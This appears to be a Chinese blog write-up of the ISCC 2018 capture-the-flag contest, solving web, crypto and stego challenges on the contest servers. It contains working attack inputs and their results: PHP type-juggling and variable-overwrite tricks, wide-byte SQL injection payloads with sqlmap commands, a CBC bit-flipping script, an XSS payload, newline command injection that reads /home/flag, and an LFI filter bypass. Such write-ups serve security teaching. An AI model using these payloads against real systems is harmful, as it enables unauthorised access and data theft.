iscc2018 writeup

比较数字大小

1
2
<input type="text" maxlength="3" name="v">
<input type="submit" value="提交">

maxlength限制了输入字符串长度,直接F12-Elements中修改或去掉maxlength,或者burp修改name的值。

key is 768HKyu678567&*&K

web01

输入http://118.190.152.202:8003/?password[]=1

1
2
3
4
5
6
7
8
9
10
<?php 
highlight_file('2.php');
$flag='{***************}';
if (isset($_GET['password'])) {
if (strcmp($_GET['password'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
}
?> Flag: ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}

为什么这么简单啊

题目要求:第二关需要从 http://edu.xss.tv 进入,并且只有我公司的IP地址才可以进入第二关,公司IP为:110.110.110.110

headers头部中referer修改来源;X-Forwarded-For可以伪造ip,进入第二关

查看网页源代码发现

<script type="text/javascript" src="./password.js"></script>

打开文件,存在一串base64,解码后得到<script>alert("password:xinyiji.com")</script>

您的flag为:B1H3n5u0xI2n9JIscc

web02

在请求头部添加中X-forwarded-for:127.0.0.1失败;换用 client-ip:127.0.0.1 成功

Great! ISCC{iscc_059eeb8c0c33eb62}

Please give me username and password!

师兄指点下发现备份文件:index.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

输入http://118.190.152.202:8017/?password=8e9&username[]=a

flag:ISCC2018_Very_GOOD!

php是世界上最好的语言

用户名、密码处输入QNKCDZO, 得到

1
2
3
4
5
6
7
8
9
<?php 
include 'flag.php';
$a = @$_REQUEST['a'];
str_replace("{","",$a);
str_replace("}","",$a);
@eval("var_dump($$a);");
show_source(__FILE__);

?>

变量覆盖,输入

http://118.190.152.202:8005/no_md5.php?a=GLOBALS flag:a39f9a1ff7eb4bab8a6a21b2ce111b4

一切都是套路

提示:好像有个文件忘记删了,于是可以想到源码泄露,测试了.bak,.swp等都没有,尝试了dirsearch、御剑等扫描工具也没收获,后台在师兄的提示下,发现了index.php.txt……Orz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

可以发现存在变量覆盖,又必须post flag参数,也就是说$flag一定会被覆盖,思考良久,注意到,似乎有一段代码很多余

1
2
3
foreach ($_GET as $k => $v){
$$k = $$v;
}

所以想到可以将$flag赋值给其他可打印变量,如\$_200

智商真是捉急……,大佬肯定都是分分钟做出来的 2333333~

SQL注入的艺术

  • 测试(字符型 or 数字型)

    1’ and 1=1%23

    1’ and 1=2%23

    1 and 1=1%23

    1 and 1=2%23

    1abcd

    结果都是返回id=1的结果 于是猜测可能是字符型,也可能是使用了intval,然而始终测试失败,于是关注编码gb2312,测试宽字节注入

    1%df%27 and 1=1%23 #显示id=1的结果

    1%df%27 and 1=2%23 #无显示

    判断为宽字节注入,可能使用了addslashes等函数;界面中显示sql语句查询的部分信息,于是为明显。

  • 查询列数

    union select

    1
    2
    3
    UNION SELECT 1,2,3 #
    UNION ALL SELECT 1,2,3 #
    UNION ALL SELECT null,null,null #

    order by

    利用二分法

    1
    2
    3
    4
    ORDER BY 10 #
    ORDER BY 5 #
    ORDER BY 2 #
    ....

    先利用1%df%27 order by 8%23测试字段数为8;再利用-1%df%27 select 1,2,3,4,5,6,7,8测试

    2,4,7的位置存在信息泄露

  • 手动注入

    payload

    1
    2
    3
    4
    5
    6
    7
    8
    # 数据库 baji
    2%df%27union select 1,(SELECT database()),3,4,5,6,7,8%23
    # 表名 admins
    2%df%27union select 1,(SELECT GROUP_CONCAT(table_name SEPARATOR+0x3c62723e) FROM+INFORMATION_SCHEMA.tables WHERE TABLE_SCHEMA=0x62616a69),3,4,5,6,7,8%23
    # 字段 flag
    2%df%27union select 1,(SELECT GROUP_CONCAT(column_name SEPARATOR+0x3c62723e) FROM+INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x61646D696E73),3,4,5,6,7,8%23
    # 内容 Y0u_@@33w_dxxmn_9rf0Od
    2%df%27union select 1,(SELECT flag from admins),3,4,5,6,7,8%23
  • 工具注入

    –threads 10 //如果你玩过 msfconsole的话会对这个很熟悉 sqlmap线程最高设置为10

    –level 3 //sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高可到5

    –risk 3 // 执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全

    –search //后面跟参数 -D -T -C 搜索列(S),表(S)和或数据库名称(S) 如果你脑子够聪明,应该知道库列表名中可能会有ctf,flag等字样,结果有时候题目就是这么耿直对吧?

    –flush-session //如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

    1
    python sqlmap.py -u "http://118.190.152.202:8015/?id=2%df" --search -C flag --thread 10 --level 3

    ​ 除了在id处指明%df,还可以使用宽字节注入脚本–tamper=unmagicquotes.py

    1
    python sqlmap.py -u "http://118.190.152.202:8015/?id=1" --search -C flag --thread 10 --level 3 --tamper=unmagicquotes.py --flush-session

    试试看

    1
    <img src="show.php?img=1.jpg">

    img参数首先考虑到的是否存在文件包含,源码泄露

    成功利用文件包含的条件

    • inclued()等通过动态变量的方法引入需要包含的文件
    • 动态变量用户可控

    针对于这道题,猜测后台的show.php的代码,不知道是否用了include等函数,测试过程中发现,参数后缀必须为.jpg,否则file not found

    1
    2
    3
    4
    5
    6
    $img = $_GET['img'];
    if( preg_match('/\.jpg$/is', $img) ) {
    echo "<img src='".$img."'>";
    }else{
    echo "file not found";
    }

    所以需要绕过.jpg ,如果绕过呢?开始查找各种奇淫技巧

    • %00截断

      400 Bad Request

      Your browser sent a request that this server could not understand.

      Apache/2.4.10 (Debian) Server at 172.17.0.32 Port 80

      出现了 Status Code:Http 400 Bad Request 错误的一种原因就是:参数匹配。包括以下两方面:

      1. 请求时没有传递必须的参数;
      2. 传递的参数类型不匹配,比如areaOrSchoolId 需为 int型,若传到后台的是string型则也会出现类似的错误。

    • TODO…

    Only admin can see flag

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    <?php
    include 'sqlwaf.php';
    define("SECRET_KEY", "................");
    define("METHOD", "aes-128-cbc");
    session_start();

    function get_random_iv(){
    $iv='';
    for($i=0;$i<16;$i++){
    $iv.=chr(rand(1,255));
    }
    return $iv;
    }
    function login($info){
    $iv=get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
    }
    function show_homepage(){
    if ($_SESSION["username"]==='admin'){
    echo '<p>Hello admin</p>';
    echo '<p>Flag is *************</p>';
    }else{
    echo '<p>hello '.$_SESSION['username'].'</p>';
    echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
    die();
    }
    function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
    $cipher = base64_decode($_COOKIE['cipher']);
    $iv = base64_decode($_COOKIE["iv"]);
    if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
    $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
    $_SESSION['username'] = $info['username'];
    }else{
    die("ERROR!");
    }
    }
    }

    if (isset($_POST['username'])&&isset($_POST['password'])) {
    $username=waf((string)$_POST['username']);
    $password=waf((string)$_POST['password']);
    if($username === 'admin'){
    exit('<p>You are not real admin!</p>');
    }else{
    $info = array('username'=>$username,'password'=>$password);
    login($info);
    show_homepage();
    }
    }
    else{
    if(isset($_SESSION["username"])){
    check_login();
    show_homepage();
    }
    }
    ?>
    <!DOCTYPE html>
    <html lang="en" >
    <head>
    <meta charset="UTF-8">
    <title>Paper login form</title>
    <link rel="stylesheet" href="css/style.css">
    </head>
    <body>
    <div id="login">
    <form action="" method="post">
    <h1>Sign In</h1>
    <input name='username' type="text" placeholder="Username">
    <input name='password' type="password" placeholder="Password">
    <button>Sign in</button>
    </div>
    </body>
    </html>

    类似题目 cbc字节翻转攻击

    此攻击方法的精髓在于:通过损坏密文字节来改变明文字节。(注:借助CBC内部的模式)借由此可以绕过过滤器,或者改变用户权限提升至管理员,又或者改变应用程序预期明文以尽猥琐之事。

    CBC字节翻转攻击发生在解密的过程中,实质就是通过更改上一个块的内容,来间接修改明文中的内容。有一条经验法则是(结合上图),你在密文中改变的字节,会影响到在下一明文当中,具有相同偏移量的字节。因此,进行CBC攻击仅影响到两个块。CBC反转攻击的用途主要体现在在不知道加密密钥的情况下,通过修改密文,可以间接修改明文。

    20170525149569330192390.jpg

    回到题目中来,序列化后的明文如下:

    a:2:{s:8:"username";s:5:"bdmin";s:8:"password";s:5:"admin";

    1. 首先将明文分成16字节的四组:
    • a:2:{s:8:”userna
    • me”;s:5:”bdmin”;
    • s:8:”password”;s
    • :5:”admin”;}
    1. 修改cipher1

    1
    2
    3
    4
    5
    cipher1 xor plain2 = middle2
    cipher1 = middle2 xor plain2
    cipher1_change = middle2 xor plain_change = cipher1 xor plain2 xor plain2_change
    对应下面代码中的
    ord(cipher[i]) ^ ord(plain_old[i]) ^ ord(plain_new[i])
    1. 恢复iv

    出现了问题,修改cipher1,又会破坏plain1的解密,题目中plain1_error通过错误回显已知,iv可控,于是可以通过修改IV值恢复plain1。

    1
    2
    3
    plain_error = middle1 xor iv_old
    middle1 = plain_error xor iv_old
    iv_new = middle1 xor plain1 = plain_error xor iv_old xor plain1​

    代码如下:

    • 重新生成密文
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # -*- coding: utf-8 -*-
    import base64
    cipher1 = 'EvX06IpeOJ9iTJ7J1L9iP7ymKC1Phg7KySWJP0ZbAtlwVMnniIkdvRH60+BY5g+8i0WKbQvgJIZVbGsQGTzH5A=='.decode('base64')
    plain_old = "me\";s:5:\"skctf\";"
    plain_new = "me\";s:5:\"admin\";"

    for i in xrange(16):
    cipher_change = cipher[:i] + chr(ord(cipher1[i]) ^ ord(plain_old[i]) ^ ord(plain_new[i])) + cipher1[i+1:]

    print cipher_change.encode('base64')
    • 重新生成IV
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # -*- coding: utf-8 -*-
    import base64

    plain = 'tjxwLb7ntUZzvvEfoiiKKG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6InNrY3RmIjt9'.decode('base64')
    iv = 'in+Lglg80v0qJ2PW/c11pg=='.decode('base64')

    old = plain[:16]
    new = "a:2:{s:8:\"userna";
    for i in xrange(16):
    iv = iv[:i] + chr(ord(iv[i]) ^ ord(old[i]) ^ ord(new[i])) + iv[i+1:]

    print iv.encode('base64').strip()​

    What is that?

    发现一张图片,23333,markdown语法竟然不能显示出来,估计就是crc校验有问题了,修改后面的高度

    得到

    数字密文

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # -*- Coding:UTF-8 -*-

    a = ["0x69","0x74","0x27","0x73","0x20","0x65","0x61","0x73","0x79","0x21"]
    str = ""

    for i in a:
    str += chr(int(i,16))

    print str

    或者利用 “一只猫的心思”的脚本

    flag: it’s easy!

    秘密电报

    题目:

    秘密电报:
    知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA

    “知识就是力量”这句话是培根说的,于是培根密码解密得到flag:ILIKEISCC

谍影重重

这道题是在师兄的帮助下完成的

前面各种base64解码和urldecode得到

1
2
3
U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4
B5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z
iN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=

再解码得到:

Salt__是openssl加密后的标志

在线解密解密结果:

答案就是后面这句但已加密
缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗

佛论禅解密:

把以“佛曰:”开头的内容,复制粘贴到密文区后,点击“参悟佛所言的真意”按钮,就能在上面的明文区看到解码后的字符了。

在密文前面加上”佛曰”,解密得到:把我复制走

flag: 把我复制走

有趣的ISCC

010Editor打开图片发现文件尾AE 42 60 82后面有一些类似unicode编码的东西,去掉多余的空字节后得到

1
&#92;&#117;&#48;&#48;&#54;&#54;&#92;&#117;&#48;&#48;&#54;&#99;&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#54;&#55;&#92;&#117;&#48;&#48;&#55;&#98;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#50;&#48;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#50;&#48;&#92;&#117;&#48;&#48;&#54;&#54;&#92;&#117;&#48;&#48;&#55;&#53;&#92;&#117;&#48;&#48;&#54;&#101;&#92;&#117;&#48;&#48;&#55;&#100;

于是先进行Unicode解码再转换为字符串

中文汉字 | ASCII | Unicode互相转换工具

flag:iscc is fun

凯撒十三世

题目描述:凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。

rot13

ROT13 也是过去在古罗马开发的凯撒密码的一种变体。ROT13是它自身的逆反,即:要还原成原文只要使用同一算法即可得,故同样的操作可用于加密与解密。该算法并没有提供真正密码学上的保全,故它不应该被用于需要保全的用途上。它常常被当作弱加密示例的典型。

得到: roqtp697t95j3

键盘密码: 仔细观察,可以发现是上下对应解密的,即qwerty解密后为asdfgh,看着键盘解密为flag:yougotme

一只猫的心思

文件尾部FF D9得到word文档的头部D0CF11E0,截取出来存为doc文档,内容为:

名西三陵帝焰数诵诸山众參哈瑟倒陰捨劫奉惜逝定雙月奉倒放足即闍重号貧老诵夷經友利普过孕北至花令藐灯害蒙能羅福羅夢开雙禮琉德护慈積寫阿璃度戏便通故西故敬于瑟行雙知宇信在礙哈数及息闍殺陵游盧槃药諦慈灯究幽灯豆急彌貧豆親诵梭量树琉敬精者楞来西陰根五消夢众羅持造彌六师彌怖精僧璃夫薩竟祖方夢訶橋經文路困如牟憐急尼念忧戏輸教乾楞能敬告树来楞殊倒哈在紛除亿茶涅根輸持麼阿空瑟稳住濟号他方牟月息盡即来通貧竟怖如槃精老盡恤及游薩戏师毒兄宝下行普鄉释下告劫惜进施盡豆告心蒙紛信胜东蒙求帝金量礙故弟帝普劫夜利除積众老陀告沙師尊尼捨惜三依老蒙守精于排族祖在师利寫首念凉梭妙經栗穆愛憐孝粟尊醯造解住時刚槃宗解牟息在量下恐教众智焰便醯除寂想虚中顛老弥诸持山諦月真羅陵普槃下遠涅能开息灯和楞族根羅宝戒药印困求及想月涅能进至贤金難殊毘瑟六毘捨薩槃族施帝遠念众胜夜夢各万息尊薩山哈多皂诵盡药北及雙栗师幽持牟尼隸姪遠住孕寂以舍精花羅界去住勒排困多閦呼皂難于焰以栗婦愛闍多安逝告槃藐矜竟孕彌弟多者精师寡寫故璃舍各亦方特路茶豆積梭求号栗怖夷凉在顛豆胜住虚解鄉姪利琉三槃以舍劫鄉陀室普焰于鄉依朋故能劫通

佛论禅解码

注意:记得带上『佛曰:』或『如是我闻:』的文字,点击『参悟佛所言的真意』按钮

1
523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46

16进制转字符串 ,接下来就是base64 base32 16进制转字符串等的操作得到F1a9_is_I5cc_ZOl8_G3TP01NT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# coding:UTF-8

"""
base64 中包含大写字母(A-Z)、小写字母(a-z)、数字0——9以及+/=;
base32 中只有大写字母(A-Z)和数字234567=
base16编码是一个标准的十六进制字符串(注意是字符串而不是数值),只有数字0-9以及大写字母ABCDEF,更易被人类和计算机使用,因为它并不包含任何控制字符,以及Base64和Base32中的“=”符号
"""

import base64
import binascii
import re

#后期优化:输入各种不同的形式,如字符串,列表等,都可以正确解码

str = '523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46'

while 1:
try:
print "[info]:"+str
if re.match('^[A-F0-9=]+$', str):
str = base64.b16decode(str)
elif re.match('^[A-Z2-7=]+$',str):
str = base64.b32decode(str)
elif str.find('[a-z+/]'):
str = base64.b64decode(str)

except TypeError:
print "[final] 解码完毕:"+str
break

flag: I5cc_ZOl8_G3TP01NT `

暴力XX不可取

成功打开flag.txt,得到vfppjrnerpbzvat,rot13解密后得到flag: isccwearecoming

Where is the FLAG?

010 Editor打开发现图片经过Firework编辑得到,使用Firework打开发现隐藏的图层

按标号顺序排好得到正确的二维码

扫码得到flag:a332b700-3621-11e7-a53b-6807154a58cf

你能跨过去吗

http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_=1302746925413

挺无语的一道题,不知道作者想表达什么,难道想告诉我们url有时会进行base64编码处理吗?

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0解码得到

<script>alert("key:/%nsfocusXSStest%/")</script>

表单页面输入:/%nsfocusXSStest%/ ,得到flag: Hell0World

Sqli

很不光彩的用sqlmap跑出来的

1
python .\sqlmap.py -r .\r.txt  --thread 10 --level 3 --dbms "Mysql" --dump

你能绕过吗?

尝试了各种绕过的姿势

1
2
3
4
5
6
7
8
9
10
11
1)&&

2)||

3);

4)&

5)|

6)反引号执行命令

灵活的绕过了正确答案%0a 心塞塞的……


http://118.190.152.202:8018/?ip=118.190.152.202%0als index.php

http://118.190.152.202:8018/?ip=118.190.152.202%0acat index.php

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
'',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);


$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}

echo "{$cmd}";

没有flag,然后遍历目录

http://118.190.152.202:8018/?ip=8.8.8.8%0als%20/home flag

http://118.190.152.202:8018/?ip=8.8.8.8%0acat%20/home/flag

flag: ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}

你能绕过吗?

给大家安利一下我的师兄–一个既懂web又懂bin的废汪 Orz… 没错,这道题是在师兄全程做出来的,我在旁边呐喊助威,23333…

题目地址:http://118.190.152.202:8008/

大家应该和我一样看到这样的参数 ?f=articles&id=4,直觉性的猜测id处的SQLi

然而显注没有、布尔盲注、时间盲注通通测试失败,呃….,其实这是一道LFI本地文件包含,参数f处,接着我要写出师兄的思路

输入http://118.190.152.202:8008/index.php?f=index&id=4,显示的是该网页无法正常运行,但是也同时也告诉我们index模块是存在的(这好像是废话。。。),通过curl -v查看网页的加载情况,发现一直在循环加载?f=articles&id=4。也就是说index.php是包含了article.php的。

于是开始LFI,测试http://118.190.152.202:8008/index.php?f=php://filter/read=convert.base64-encode/resource=index.php&id=4

发现error…,经测试发现是过滤了php,可以通过大小写绕过

http://118.190.152.202:8008/index.php?f=phP://filter/convert.base64-encode/resource=index&id=4

base64解码得到

1
2
3
4
5
6
7
8
9
10
11
12
<?php
#ISCC{LFIOOOOOOOOOOOOOO}
if(isset($_GET['f'])){
if(strpos($_GET['f'],"php") !== False){
die("error...");
}
else{
include($_GET['f'] . '.php');
}
}

?>
坚持原创技术分享,您的支持将鼓励我继续创作!